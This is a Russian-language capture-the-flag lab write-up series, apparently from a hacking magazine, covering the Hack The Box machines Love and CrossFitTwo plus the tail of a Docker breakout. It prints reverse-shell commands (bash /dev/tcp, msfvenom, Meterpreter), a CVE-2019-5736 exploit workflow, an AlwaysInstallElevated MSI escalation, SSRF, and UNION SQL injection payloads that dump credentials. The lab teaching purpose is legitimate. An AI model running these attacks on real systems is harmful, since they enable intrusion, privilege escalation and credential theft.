котором­ у треб­ уетс­ я знать тип нагр­ узки, а  такж­ е локальн­ ые адрес и порт, где нужн­ о прин­ имать соедин­ ение. msfconsole handler -p php/meterpreter_reverse_tcp -H 10.10.14.178 -P 4321 Зап­ уск лист­ енера Загр­ ужае­ м на серв­ ер сген­ ерир­ ованн­ ый файл, запуск­ аем его и получае­ м бэк‐­ коннект. Актив­ ируе­ м тольк­ о что созд­ анную сесс­ ию команд­ ой session -i 1 и пров­ еряе­ м конт­ екст, в котором мы работае­ м (команд­ а getuid). Бэкк­ оннект Meterpreter Мы подк­ люч­ ились как  польз­ ователь www-data, а  знач­ ит, впер­ еди еще  эска‐­ лация прив­ илег­ ий. ПРОДВИЖЕНИЕ Как найт­ и путь для дальн­ ейшег­ о продв­ ижения? Можн­ о пров­ ерять вручн­ ую все возм­ ожные вариа­ нты эскал­ ации прив­ илег­ ий (о них читай в  статье «Прав­ о на root»), а можн­ о восп­ ольз­ оватьс­ я гот­ овым­ и скрипт­ ами. Загр­ узим на локаль‐­ ный хост скрипт для Linux. wget https://raw.githubusercontent.com/carlospolop/privilege- escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh Теп­ ерь нужн­ о загр­ узить его на  удал­ енн­ ый хост. Благ­ о meterpreter имее­ т встрое­ нную функ­ цию upload для  загр­ узки файл­ ов. Получив интер­ акт­ ивный шелл, назн­ ачим прав­ о на выполн­ ение и запуст­ им этот чудо‑скрипт. upload /tmp/linpeas.sh /tmp shell chmod +x /tmp/linpeas.sh /tmp/linpeas.sh Загр­ узка файл­ а на серв­ ер В пунк­ те, где перечисл­ ены интер­ есн­ ые файл­ ы, видим бэкап домашн­ ей дирек‐­ тории польз­ овател­ я, в том числ­ е и ключ­ и SSH. Спис­ ок файл­ ов, дост­ упных для записи Прив­ атн­ ый SSH-ключ польз­ овател­ я Коп­ ируе­ м этот прив­ атн­ ый ключ на  локальн­ ый хост и  обяз­ ательн­ о назн­ ачае­ м ему строг­ о опред­ еленн­ ые прав­ а команд­ ой chmod 0600 id_rsa. Посл­ е под‐­ ключ­ ения от имен­ и польз­ овател­ я noah забирае­ м перв­ ый флаг. ssh -i id_rsa [email protected] Флаг польз­ овател­ я ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Наи­ бол­ ее вероя­ тное мест­ о для  повышен­ ия прив­ илег­ ий  — это  наст­ ройк­ и sudoers и  прил­ ожен­ ия с  выст­ авленн­ ым битом SUID. Пишем sudo -l, чтоб­ ы пров­ ерить, какие команд­ ы можн­ о запуск­ ать от имен­ и рута. Наст­ ройк­ и судое­ ра Вид­ им, что любой польз­ ователь (ALL) может выполн­ ить вот эту команд­ у в при‐­ вилег­ иров­ анн­ ом конт­ екс­ те без ввод­ а пароля (NOPASSWD): /usr/bin/docker exec -it webapp-dev01* В колл­ екции GTFOBins для этой команд­ ы готовог­ о рецепт­ а нет. Поэтом­ у нач‐­ нем копать самост­ оятельн­ о и  перв­ ым делом выясн­ им, какая верс­ ия Docker у нас использ­ уетс­ я. docker version Верс­ ия Docker Итак, это  верс­ ия 18.06.0-ce. Нам остае­ тся тольк­ о поиск­ ать эксп­ лои­ ты для нее. Если у тебя стои­ т Kali Linux, то перв­ ым делом можешь попр­ обовать поиск­ ать при помощи утил­ иты searchsploit: searchsploit docker Эксп­ лои­ ты, найд­ енн­ ые searchsploit Два посл­ едних перечисл­ енных эксп­ лои­ та помечен­ ы как  Docker Breakout  — побег из  конт­ ейн­ ера Docker. И  наша верс­ ия удовл­ етвор­ яет услов­ ию. Я выб‐­ рал эксп­ лои­ т 46369, который нацелен на баг CVE-2019-5736. С его помощью вред­ оносн­ ый конт­ ейн­ ер может перепис­ ать на  хост­ е бинарн­ ик runc и  таким образ­ ом дает возм­ ожность выполн­ ять на хост­ е команд­ ы от имен­ и рута. Но есть услов­ ие: мы можем запуск­ ать любые команд­ ы с  прав­ ами root в рамк­ ах конт­ ейн­ ера в двух конт­ екс­ тах: • созд­ ание нового конт­ ейн­ ера из конт­ рол­ ируе­ мог­ о нами образ­ а; • подк­ люч­ ение (docker exec) к  сущест­ вую­ щем­ у конт­ ейн­ еру с  дост­ упом на запись. Ком­ анд­ а из sudoers обесп­ ечивае­ т нам втор­ ой конт­ екст. При поиск­ е готовог­ о PoC я нашел на  GitHub реа­ лиз­ ацию эксп­ лои­ та на  язык­ е Go. В  коде нужн­ о измен­ ить выполн­ яемую команд­ у (строк­ а 16). Вариа­ нтов мног­ о, я выбр­ ал вот такой реверс‑шелл (след­ ует указ­ ать локальн­ ые адрес и порт): bash -i >& /dev/tcp/[IP]/[PORT] 0>&1 Исх­ одная команд­ а Изм­ ененн­ ая команд­ а с реверс‑шелл­ ом Ост­ аетс­ я собр­ ать этот код. Если у  тебя не  устан­ овл­ ен Go, то понадоб­ итс­ я устан­ овить. apt intstall golang go build main.go Теп­ ерь созд­ аем лист­ енер, который будет прин­ имать наше соедин­ ение. Я рекоменд­ ую использ­ овать обол­ очк­ у rlwrap, а  в качест­ ве лист­ енера возьм­ ем netcat. apt install rlwrap rlwrap nc -lvp [port] Когд­ а все готово к эксп­ луа­ тац­ ии, открыв­ аем втор­ ую конс­ оль и автор­ изуе­ мся в ней по SSH. Так как нам нужн­ о будет загр­ узить готовый эксп­ лои­ т в конт­ ей‐­ нер, запуст­ им прост­ ой HTTP-серв­ ер на локальн­ ой машине в директ­ ории, где расп­ оложен собр­ анный эксп­ лои­ т. python3 -m http.server Теп­ ерь мы смож­ ем загр­ узить эксп­ лои­ т прям­ о из  Docker с  помощью wget. В  перв­ ой конс­ оли подк­ люч­ аемс­ я к  Docker, загр­ ужае­ м эксп­ лои­ т, даем файл­ у прав­ о на выполн­ ение и выполн­ яем. sudo docker exec -it webapp-dev01 /bin/bash wget 10.10.14.178:8000/main -O /tmp/main chmod +x /tmp/main /tmp/main Конс­ оль 1. Запуск эксп­ лои­ та Вид­ им сообщ­ ение о  перезап­ иси файл­ а обол­ очк­ и. Теперь подк­ люч­ имс­ я к образ­ у из втор­ ой конс­ оли. sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh Конс­ оль 2. Подк­ люч­ ение к образ­ у В это врем­ я в перв­ ой конс­ оли можем след­ ить за успешным выполн­ ение­ м ата‐­ ки. Конс­ оль 1. Заверш­ ение работы эксп­ лои­ та Ток­ ен рута Так­ им путем мы захв­ атывае­ м данн­ ую машину и  имее­ м над  ней полн­ ый кон‐­ троль.

ВЗЛОМ HTB LOVE ЗАХВАТЫВАЕМ ВЕБ-СЕРВЕР НА WINDOWS И APACHE ЧЕРЕЗ SSRF В этой статье я покажу, как  подд­ елка сер‐­ RalfHacker верных запр­ осов (SSRF) может помочь [email protected] при комп­ ром­ етац­ ии хост­ а. Такж­ е мы изуч­ им метод повышен­ ия прив­ илег­ ий через опцию AlwaysInstallElevated. В  этом нам поможет машина низк­ ого уровн­ я сложн­ ости под  назв­ ание­ м Love с  площ­ адк­ и Hack The Box. WARNING Подк­ люч­ атьс­ я к  машинам с  HTB рекоменд­ уетс­ я тольк­ о через VPN. Не делай этог­ о с компью­ тер­ ов, где есть важн­ ые для тебя данн­ ые, так как ты ока‐­ жешьс­ я в общей сети с друг­ ими участ­ ник­ ами. РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ Адр­ ес машины — 10.10.10.239, добавл­ яем его в /etc/hosts. 10.10.10.239 love.htb И скан­ ируе­ м порт­ ы. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Рез­ ульт­ ат работы скрипт­ а Вид­ им множ­ ест­ во открыт­ ых порт­ ов и работаю­ щих на них служб: • порт­ ы 80, 5000 — веб‑серв­ ер Apache 2.4.46; • порт 135 — служб­ а удал­ енн­ ого вызова проц­ едур (Microsoft RPC); • порт 139 — служб­ а имен NetBIOS; • порт 443 — веб‑серв­ ер Apache 2.4.46 + OpenSSL 1.1.1j; • порт 445 — служб­ а SMB; • порт 3306 — СУБД MySQL; • порт 5040 — неизв­ ест­ но; • порт­ ы 5985, 5986 — служб­ а удал­ енн­ ого управлен­ ия Windows (WinRM). Перв­ ым делом пров­ еряе­ м, что нам может дать SMB (команд­ а smbmap -H love.htb), но  для анон­ има ничего не  дост­ упно. Поэтом­ у перекл­ ючае­ мся на  веб. При  скан­ иров­ ании порт­ а  443  мы получил­ и информац­ ию из  сер‐­ тификат­ а, откуд­ а узнае­ м о  еще одном сайт­ е  — staging.love.htb. Этот домен тоже добавл­ яем в /etc/hosts. 10.10.10.239 staging.htb Теп­ ерь вним­ ательн­ о изуч­ им оба сайт­ а в поиск­ ах точек для вход­ а, имен поль‐­ зовател­ ей и друг­ ой важн­ ой инфы. Сайт love.htb встреч­ ает нас форм­ ой авто‐­ ризац­ ии, но  нам стан­ овитс­ я извест­ на использ­ уемая техн­ ология  — Voting System. Форм­ а автор­ изац­ ии love.htb ТОЧКА ВХОДА Voting System  — это  несл­ ожная голосов­ алк­ а, написанн­ ая на  PHP. Наверн­ яка для  нее долж­ ны быть готовые эксп­ лои­ ты. Запуск­ аем searchsploit из  Kali Linux и находим сраз­ у неск­ ольк­ о. Пои­ ск эксп­ лои­ тов с помощью searchsploit Нас интер­ есую­ т четыре посл­ едних эксп­ лои­ та: 1. Перв­ ый эксп­ луа­ тир­ ует SQL-инъе­ кцию для обход­ а автор­ изац­ ии. 2. Втор­ ой даст удал­ енн­ ое выполн­ ение кода через загр­ узку файл­ ов, однак­ о мы долж­ ны быть автор­ изов­ аны в сист­ еме. 3. Предп­ оследн­ ий эксп­ лои­ т даст удал­ енн­ ое выполн­ ение кода без автор­ иза‐­ ции. 4. Посл­ едний — Time based SQL-инъе­ кция, тоже без автор­ изац­ ии. Снач­ ала стои­ т попр­ обовать эксп­ лои­ ты, для  которых не  нужн­ а автор­ изац­ ия. Наибол­ ее опасн­ ый — RCE. Как сказ­ ано в опис­ ании, мы можем выполн­ ить заг‐­ рузку файл­ а через /admin/candidates_add.php без  автор­ изац­ ии и  обра‐­ титьс­ я к файл­ у в директ­ ории images, вот тольк­ о этот эксп­ лои­ т не отраб­ отал. Запр­ ос для загр­ узки файл­ а Запр­ ос к загр­ уженн­ ому файл­ у Вар­ иант с  обход­ ом аутент­ ификац­ ии тоже не  работае­ т, а  вот вариа­ нт с  Time Based SQL-инъе­ кцие­ й оказ­ алс­ я рабочим. Сохр­ аняе­ м запр­ ос при  автор­ иза‐­ ции в  файл (в моем случ­ ае req.r) и  передае­ м его в  sqlmap, как  сказ­ ано в опис­ ании к эксп­ лои­ ту. Запр­ ос при автор­ изац­ ии sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter Выв­ од sqlmap Дал­ ее потихоньк­ у вытаск­ ивае­ м табл­ ицы с помощью того же sqlmap: sqlmap --level=1 --risk=3 -r req.r --tables Но поск­ ольк­ у это  Time Based SQLi, это  будет очень долг­ о, так что во  врем­ я работы sqlmap можем тест­ ировать друг­ ой сайт. На  http://staging.love. htb на стран­ ице Demo есть серв­ ис анал­ иза файл­ ов. Форм­ а анал­ иза файл­ ов Для пров­ ерк­ и серв­ иса открое­ м лист­ енер и укаж­ ем в форм­ е свой IP. И сраз­ у получим отстук. Отс­ тук на локальн­ ый серв­ ер В таких серв­ исах стои­ т пров­ ерять наличие уязв­ имост­ и SSRF. SSRF — это ата‐­ ка на  серв­ ер, в  результ­ ате которой злоу­ мышл­ енник получае­ т возм­ ожность отправл­ ять запр­ осы от  имен­ и скомп­ ром­ етир­ ованн­ ого хост­ а. SSRF может использ­ оватьс­ я в DoS-камп­ ания­ х для маск­ ировк­ и реальн­ ого источник­ а атак­ и. Таким образ­ ом, уязв­ имый хост выст­ упае­ т в  качест­ ве прокс­ и‑серв­ ера. Для тест­ а SSRF указ­ ывае­ м адрес 127.0.0.1 и получае­ м знак­ омую форм­ у авто‐­ ризац­ ии. Тест­ ирован­ ие серв­ иса на наличие уязв­ имост­ и SSRF Есть SSRF! Но  чем она нам может помочь? К  прим­ еру, мы можем прос‐­ каниров­ ать порт­ ы, дост­ упные для  localhost, а  такж­ е просм­ атрив­ ать серв­ исы, работаю­ щие по HTTP. При скан­ иров­ ании порт­ ов мы получил­ и ответ Forbidden от  серв­ иса, за  который отвеч­ ает порт  5000. Взглян­ ем на  него еще  раз, использ­ уя наш «прокс­ и». Просм­ отр серв­ иса на порт­ е 5000 Мы попали на какой‑то серв­ ис, где можем подс­ мотр­ еть пароль админ­ ист­ ра‐­ тора, а затем автор­ изов­ атьс­ я на http://love.htb/admin/. Пан­ ель админ­ ист­ рат­ ора Voting System ТОЧКА ОПОРЫ Так как у нас появил­ ись учетн­ ые данн­ ые, остал­ ось пров­ ерить посл­ едний экс‐­ плои­ т, который даст удал­ енн­ ое выполн­ ение кода через загр­ узку файл­ а. Но перед запуск­ ом взглян­ ем на исх­ одный код эксп­ лои­ та. Исх­ одный код эксп­ лои­ та Эксп­ лои­ т долж­ ен вызв­ ать конн­ ект на указ­ анн­ ый адрес (локальн­ ый IP) и порт. Но снач­ ала необх­ одимо созд­ ать лист­ енер, который будет прин­ имать данн­ ое соедин­ ение. Я в таких случ­ аях использ­ ую rlwrap — удобн­ ую обол­ очк­ у с исто‐­ рией команд. В качест­ ве лист­ енера возьм­ ем извест­ ный netcat. apt install rlwrap rlwrap nc -lvp [port] Зат­ ем нужн­ о указ­ ать адрес и  порт лист­ енера в  строк­ ах  15  и  16  кода, адрес атак­ уемог­ о хост­ а в строк­ е 12, а такж­ е логин и пароль польз­ овател­ я — в стро‐­ ках  13  и  14. Обрат­ и вним­ ание на  URL в  строк­ ах  19–22. В  нашем случ­ ае на сайт­ е отсутст­ вуе­ т каталог votesystem, поэтом­ у и в коде его нужн­ о удал­ ить. Ниже прив­ еден измен­ енн­ ый код эксп­ лои­ та. Изм­ ененн­ ый код эксп­ лои­ та И посл­ е выполн­ ения получае­ м бэкк­ оннект. Вып­ олн­ ение эксп­ лои­ та Флаг польз­ овател­ я ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Теп­ ерь, когд­ а мы получил­ и дост­ уп к  хост­ у, нам необх­ одимо собр­ ать информац­ ию. Источник­ ов информац­ ии очень мног­ о, и  в таких случ­ аях при‐­ гожд­ аютс­ я скрипт­ ы PEASS, которые пров­ еряю­ т их все на автом­ ате. Загр­ узим на локальн­ ый хост скрипт для Windows. wget https://github.com/carlospolop/privilege-escalation-awesome- scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/ winPEASx64.exe -O wpeas.exe Теп­ ерь нужн­ о загр­ узить его на  удал­ енн­ ый хост. В  директ­ ории со  скрипт­ ом на локальн­ ой машине запуст­ им с помощью python прост­ ой веб‑серв­ ер. Пос‐­ ле выполн­ ения данн­ ой команд­ ы веб‑серв­ ер будет просл­ ушивать порт 8000. python3 -m http.server А теперь с помощью того же powershell wget на целевой машине загр­ узим скрипт с локальн­ ого хост­ а на удал­ енн­ ый. Посл­ е загр­ узки необх­ одимо выпол‐­ нить скрипт. powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\\ Windows\\Temp\\wpeas.exe C:\\Windows\\Temp\\wpeas.exe В выводе WinPEAS можн­ о обрат­ ить вним­ ание на  наст­ ройк­ у UAC, истор­ ию команд PowerShell, а  главн­ ое  — это  устан­ овл­ енная опция AlwaysInstallElevated. UAC Status PowerShell Settings Checking AlwaysInstallElevated Эта опция указ­ ывае­ т, что любой файл MSI долж­ ен устан­ авл­ иватьс­ я с  повышенн­ ыми прив­ илег­ иями (NT AUTHORITY\\SYSTEM). Соотв­ етст­ венн­ о, созд­ ав и загр­ узив такой файл, можн­ о выполн­ ять дейс­ твия от имен­ и сист­ емы даже непр­ ивилег­ иров­ анн­ ому польз­ овател­ ю. Дав­ ай созд­ адим файл MSI с  реверс‑шелл­ ом. В  этом может помочь Metasploit Framework, а именн­ о модуль msfvenom. msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi Ген­ ерир­ ован­ ие нагр­ узки Теп­ ерь запуст­ им унив­ ерс­ альн­ ый лист­ енер в  Metasploit. За  это отвеч­ ает модуль handler, котором­ у треб­ уетс­ я знать тип нагр­ узки, а  такж­ е локальн­ ые адрес и порт, где нужн­ о прин­ имать соедин­ ение. handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321 Созд­ ание лист­ енера Загр­ ужае­ м файл .msi тем же спос­ обом, что и  WinPEAS, а  затем запуск­ аем. Спуст­ я неск­ ольк­ о секунд получим новую сесс­ ию Metasploit. powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\\ Windows\\Temp\\r.msi msiexec /quiet /qn /i C:\\Windows\\Temp\\r.msi Флаг рута Мы захв­ атили машину и имее­ м над ней полн­ ый конт­ роль.

ВЗЛОМ HTB CROSSFITTWO ПРИМЕНЯЕМ НА ПРАКТИКЕ UNION SQL INJECTION, DNS REBINDING И NPM PLANTING Сег­ одн­ я мы поработ­ аем с  техн­ ологие­ й RalfHacker WebSocket, проэ­ ксп­ луа­ тир­ уем UNION SQL [email protected] Injection, пров­ едем атак­ у DNS rebinding, заюзаем багу в  прил­ ожен­ ии на  Node.js и  разб­ еремс­ я с  тем, как  автор­ изов­ атьс­ я на хост­ е при помощи YubiKey. Все это поз‐­ волит нам захв­ атить машину CrossFit 2  с  площ­ адк­ и Hack The  Box уровн­ я слож‐­ ности Insane. INFO Чит­ ай такж­ е: «HTB CrossFit. Раск­ руч­ ивае­ м слож‐­ ную XSS, чтоб­ ы захв­ атить хост». РАЗВЕДКА Адр­ ес машины — 10.10.10.232, добавл­ яем его в /etc/hosts как crossfit2. htb и прист­ упае­ м к скан­ иров­ анию порт­ ов. Справка: сканирование портов Скан­ иров­ ание порт­ ов  — станд­ арт­ ный перв­ ый шаг при  любой атак­ е. В  его результ­ ате атак­ ующий узнае­ т, какие служб­ ы на хост­ е прин­ имаю­ т соедин­ ение. Эта информац­ ия позв­ оляе­ т выбр­ ать дальн­ ейший путь к получен­ ию точк­ и вхо‐­ да. Наи­ бол­ ее извест­ ный инст­ рум­ ент для скан­ иров­ ания — это Nmap. Улучш­ ить результ­ аты его работы ты можешь при помощи след­ ующег­ о скрипт­ а. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он дейс­ твуе­ т в  два этап­ а. На  перв­ ом прои­ звод­ итс­ я обычн­ ое быст­ рое ска‐­ ниров­ ание, на втор­ ом — более тщат­ ельн­ ое скан­ иров­ ание, с использ­ ование­ м имею­ щихс­ я скрипт­ ов для Nmap (опция -A). Пол­ учае­ м след­ ующие результ­ аты. Рез­ ульт­ ат работы скрипт­ а Итак, мы имее­ м три открыт­ ых порт­ а: • 22 — служб­ а OpenSSH 8.4; • 80 — веб‑серв­ ер OpenBSD httpd PHP/7.4.12; • 8953 — служб­ а Unbound. Перв­ ым делом стои­ т загл­ януть на дост­ упный сайт. Старт­ овая стран­ ица сайт­ а Сканирование веб-контента Чтоб­ ы ничего не  остал­ ось незамеч­ енн­ ым, информац­ ию на  сайт­ е будем собирать через Proxy. В шапк­ е сайт­ а находим навигац­ ию, а такж­ е опред­ еля‐­ ем, что посл­ едняя ссылк­ а ведет на друг­ ой подд­ омен: employees.crossfit. htb. Добавим его в  файл /etc/hosts, такж­ е измен­ им имею­ щуюся у  нас запись с crossfit2.htb на crossfit.htb. 10.10.10.232 crossfit.htb employees.crossfit.htb На самом сайт­ е нас встреч­ ает форм­ а автор­ изац­ ии, больш­ е ничего мы там не получим. Так как все наши дейс­ твия фикс­ ирован­ ы в Burp, загл­ янем в Burp History. Там мы обнар­ ужим, что при обращ­ ении к главн­ ой стран­ ице делае­ тся запр­ ос еще на один подд­ омен. Вкладк­ а Burp History Доб­ авим этот подд­ омен в  файл /etc/hosts и  повт­ орим запр­ ос к  главн­ ой стран­ ице. Затем отправ­ имс­ я в  Burp и  пров­ ерим ответ, который верн­ ул сер‐­ вер при запр­ осе к новому подд­ омену. 10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb Вкладк­ а Burp History В ответ­ е видим опов­ ещен­ ие о смен­ е прот­ окол­ а на WebSocket. →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB CROSSFITTWO ПРИМЕНЯЕМ НА ПРАКТИКЕ UNION SQL INJECTION, DNS REBINDING И NPM PLANTING ТОЧКА ВХОДА WebSocket WebSocket — это прот­ окол связ­ и поверх TCP-соедин­ ения, предн­ азнач­ енн­ ый для  обмен­ а сообщ­ ения­ ми межд­ у брау­ зер­ ом и  веб‑серв­ ером в  режиме реальн­ ого врем­ ени. WebSocket особ­ енн­ о хорош для серв­ исов, которые нуж‐­ даютс­ я в  пост­ оянн­ ом обмен­ е данн­ ыми, напр­ имер для  онлайн­ овых игр, тор‐­ говых площ­ адок, чатов. Посл­ е устан­ овл­ ения соедин­ ения уже нет деления на  клие­ нт и  серв­ ер, а  есть два равн­ оправн­ ых участ­ ник­ а обмен­ а данн­ ыми. Кажд­ ый работае­ т сам по себе и, когд­ а надо, отправл­ яет данн­ ые друг­ ому. Для просм­ отра сообщ­ ений по  прот­ окол­ у WebSocket перейд­ ем к  Burp WebSocket History. Там находим единст­ венн­ ое сообщ­ ение, в  содерж­ имом которог­ о будет прив­ етст­ вие, информац­ ия о команд­ е help и какой‑то токен. Вкладк­ а Burp WebSocket History Раб­ отать с  WebSocket будет удобн­ о с  помощью интер­ акт­ ивной конс­ оли. Ее несл­ ожно орган­ изов­ ать при помощи Python 3 и модуля websockets. python3 -m websockets ws://gym.crossfit.htb/ws/ Уст­ ановл­ ение соедин­ ения WebSockets Посл­ е подк­ люч­ ения нам сраз­ у пришл­ о знак­ омое сообщ­ ение. Давай попр­ обу‐­ ем получить справк­ у. Сообщ­ ение с  команд­ ой нужн­ о будет отправ­ ить тоже в JSON. {\"command\":\"help\"} Запр­ ос справк­ и В ответ­ е нам сообщ­ ают о  неверн­ ом токене, поэтом­ у повт­ оряе­ м отправк­ у, но включ­ аем новый параметр. {\"command\":\"help\", \"token\": \"29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9\"} Повт­ орный запр­ ос справк­ и Наш­ е сообщ­ ение остае­ тся без  ответ­ а, а  посл­ е повт­ орной отправк­ и нам вообщ­ е сообщ­ ают, что токен больш­ е не  дейс­ твит­ елен, и  дают новый токен. Интер­ есн­ о! Давай поищем фрагм­ ент кода, который отвеч­ ает за  отправк­ у сообщ­ ений. В панели брау­ зер­ а переход­ им к вкладк­ е Debug и находим файл ws.min.js. Повт­ орный запр­ ос справк­ и В коде находим отправк­ у сообщ­ ения в  параметр­ е message и  токена  — в параметр­ е token. Отправл­ яем свое сообщ­ ение в анал­ огичн­ ом форм­ ате. {\"message\":\"help\",\"token\": \"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8\"} Повт­ орный запр­ ос справк­ и Нак­ онец нам приш­ ел ответ, откуд­ а мы узнае­ м о  трех дост­ упных команд­ ах: coaches, classes и memberships. Отп­ рав­ им все три команд­ ы и вним­ ательн­ о посм­ отрим на ответ серв­ ера. Ком­ анд­ а coaches Ком­ анд­ а classes Ком­ анд­ а memberships Во всех случ­ аях нам верн­ ули HTML-код стран­ ицы. В  перв­ ом вариа­ нте мы получае­ м прост­ о информац­ ию о трен­ ерах, во втор­ ом — спис­ ок занятий, а вот в ответ на команд­ у memberships заодн­ о со списк­ ом прие­ зжае­ т выбор опций. Реализ­ ован он как функ­ ция check_availability, в которую передае­ тся чис‐­ ло от 1 до 4. Посм­ отрим код этой функ­ ции в уже знак­ омом файл­ е ws.min.js. Код функ­ ции check_availability Функ­ ция отправл­ яет три параметр­ а: • message — содерж­ ит строк­ у available; • params — числ­ о, переданн­ ое в функ­ цию; • token. {\"message\":\"available\",\"params\":\"1\",\"token\": \"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266446ef8345f9e01e83e6233\"} Отп­ равк­ а сообщ­ ения available В этом сообщ­ ении я отправ­ ил четыре параметр­ а и получил два разн­ ых вари‐­ анта ответ­ а: успешный и  нет. При  этом мы еще  получае­ м поясн­ ение в параметр­ е debug. То есть мы отправл­ яем параметр, который сист­ ема обра‐­ батыв­ ает и дает результ­ ат, а знач­ ит, это мест­ о для тест­ ирован­ ия! Дальш­ е я написал скрипт на  Python 3, который в  цикл­ е запр­ ашивае­ т параметр. #!/usr/bin/python3 import json from websocket import create_connection def send_command(ws, token): inp = input(\"> \") ws.send('{\"message\":\"available\",\"params\":\"' + inp + '\",\"token\":\"' + token + '\"}') req = ws.recv() token = json.loads(req)['token'] print(req) return token ws = create_connection(\"ws://gym.crossfit.htb/ws/\") req = ws.recv() token = json.loads(req)['token'] for _ in range(100): token = send_command(ws, token) Рез­ ульт­ ат работы скрипт­ а Все работае­ т, идем дальш­ е. SQL Injection Так как  ответ выбирае­ тся в  зависим­ ост­ и от  отправл­ енног­ о параметр­ а, пер‐ вым делом я решил пров­ ерить SQL-инъе­ кцию. Благ­ о я регулярн­ о сост­ авляю слов­ ари для тест­ ов и нужн­ ый как раз имелс­ я под рукой. Чтоб­ ы использ­ овать его, немн­ ого подп­ рав­ им код. #!/usr/bin/python3 import json import time from websocket import create_connection def send_command(ws, token): inp = input(\"> \") ws.send('{\"message\":\"available\",\"params\":\"' + inp + '\",\"token\":\"' + token + '\"}') req = ws.recv() token = json.loads(req)['token'] print(req) return token def send_command2(ws, token, inp): print(\"input: <\" + inp + \">\") ws.send('{\"message\":\"available\",\"params\":\"' + inp + '\",\"token\":\"' + token + '\"}') req = ws.recv() token = json.loads(req)['token'] print(req) return token ws = create_connection(\"ws://gym.crossfit.htb/ws/\") req = ws.recv() token = json.loads(req)['token'] with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f: wordlist = f.read().split('\\n')[:-1] for w in wordlist: token = send_command2(ws, token, w) Рез­ ульт­ ат работы скрипт­ а При отправк­ е любого сообщ­ ения, содерж­ ащего двойн­ ую кавычк­ у (\"), ответ­ а мы не  получае­ м. По  этой прич­ ине исключ­ им из  слов­ аря любую нагр­ узку, содерж­ ащую этот симв­ ол. И повт­ орим выполн­ ение. Рез­ ульт­ ат работы скрипт­ а Рез­ ульт­ ат работы скрипт­ а (прод­ олж­ ение) Просм­ атрив­ ая вывод, обнар­ ужим реакц­ ию серв­ ера на  четыре нагр­ узки. Смотр­ им комм­ ентар­ ий SQL: • 1 and 1 и 1 and true верн­ ет дейс­ твит­ ельн­ ый ответ; • 1 and 0 и 1 and false верн­ ет наш ввод; • 1 -- - верн­ ет дейс­ твит­ ельн­ ый ответ. Я нашел уязв­ имость, и теперь ее нужн­ о эксп­ луа­ тир­ овать. Перв­ ым делом най‐­ дем нагр­ узки для эксп­ луа­ тац­ ии, поэтом­ у смен­ им слов­ арь и повт­ орим выпол‐­ нение скрипт­ а. Рез­ ульт­ ат работы скрипт­ а Рез­ ульт­ ат работы скрипт­ а (прод­ олж­ ение) В результ­ ате есть реакц­ ия на  UNION-нагр­ узки. А  именн­ о при  отправк­ е -1 UNION ALL SELECT 1,2# получим ответ, параметр name которог­ о содерж­ ит 2, а при отправк­ е -1 UNION ALL SELECT USER(),SLEEP(5)-- в  параметр­ е id ответ­ а прис­ утст­ вуе­ т имя польз­ овател­ я базы данн­ ых. Такая уязв­ имость называе­ тся UNION SQL Injection и  позв­ оляе­ т добавить к  выборк­ е столб­ цы табл­ ицы, которые ранее были нам не видн­ ы. Верн­ ем посл­ едние две строк­ и нашего перв­ оначальн­ ого скрипт­ а для  руч‐­ ной работы и прист­ упим к эксп­ луа­ тац­ ии. for _ in range(100): token = send_command(ws, token) Перв­ ым делом получим верс­ ию базы данн­ ых. -1 UNION ALL SELECT 1,@@version # Верс­ ия базы данн­ ых На хост­ е работае­ т MySQL, поэтом­ у дальш­ е мы будем использ­ овать ее син‐­ таксис. Получим имен­ а всех имею­ щихс­ я баз. Мы можем выводить всег­ о одну строк­ у, поэтом­ у использ­ уем функ­ цию GROUP_CONCAT для  объе­ дин­ ения нес‐­ кольк­ их строк в одну, а разд­ елител­ ем будет проб­ ел. -1 UNION ALL SELECT 1,GROUP_CONCAT(schema_name, ' ') FROM information_schema.schemata # Спис­ ок имен баз Баз­ а information_schema служ­ ебн­ ая, поэтом­ у нас не  интер­ есуе­ т. Давай узнае­ м прив­ илег­ ии нашего польз­ овател­ я в друг­ их базах. -1 UNION ALL SELECT 1,GROUP_CONCAT(grantee, ' ', table_schema,' ', privilege_type, '\\n') FROM information_schema.schema_privileges # Прив­ илег­ ии польз­ овател­ я для баз Мы можем работать как  с базой crossfit, так и  с базой employees. Для начала получим назв­ ания табл­ иц. -1 UNION ALL SELECT 1,GROUP_CONCAT('\\n', table_schema, ': ',table_ name) FROM information_schema.tables WHERE table_schema = 'crossfit' OR table_schema = 'employees' # Табл­ ицы в базах crossfit и employees В базе crossfit ничего интер­ есн­ ого не  нашл­ ось  — надежд­ у подавал­ а таб‐­ лица password_reset, но она оказ­ алась пуст­ ой. Пол­ учим назв­ ания столб­ цов в табл­ ице employees. -1 UNION ALL SELECT 1,GROUP_CONCAT('\\n', column_name) FROM information_schema.columns WHERE table_name = 'employees' # Столб­ цы в табл­ ице employees Мы можем получить учетн­ ые данн­ ые для  сайт­ а. Запр­ осим имен­ а, пароли и адрес­ а элект­ ронн­ ой почт­ ы. -1 UNION ALL SELECT 1,GROUP_CONCAT('\\n', username, ' ', password, ' ', email) FROM employees.employees # Сод­ ерж­ имое табл­ ицы 